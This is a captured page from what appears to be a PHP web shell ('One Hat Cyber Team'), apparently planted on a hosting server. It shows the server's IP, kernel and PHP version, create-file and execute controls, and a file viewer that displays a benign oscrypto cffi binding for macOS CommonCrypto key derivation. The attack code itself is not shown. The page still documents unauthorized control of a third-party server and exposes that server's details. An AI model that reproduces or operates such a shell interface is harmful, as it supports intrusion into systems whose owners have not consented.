⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.55
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
opt
/
nydus
/
ops
/
oscrypto
/
_mac
/
View File Name :
_common_crypto_cffi.py
# coding: utf-8 from __future__ import unicode_literals, division, absolute_import, print_function from .._ffi import register_ffi from cffi import FFI __all__ = [ 'CommonCrypto', ] ffi = FFI() ffi.cdef(""" typedef uint32_t CCPBKDFAlgorithm; typedef uint32_t CCPseudoRandomAlgorithm; typedef unsigned int uint; int CCKeyDerivationPBKDF(CCPBKDFAlgorithm algorithm, const char *password, size_t passwordLen, const char *salt, size_t saltLen, CCPseudoRandomAlgorithm prf, uint rounds, char *derivedKey, size_t derivedKeyLen); """) common_crypto_path = '/usr/lib/system/libcommonCrypto.dylib' CommonCrypto = ffi.dlopen(common_crypto_path) register_ffi(CommonCrypto, ffi)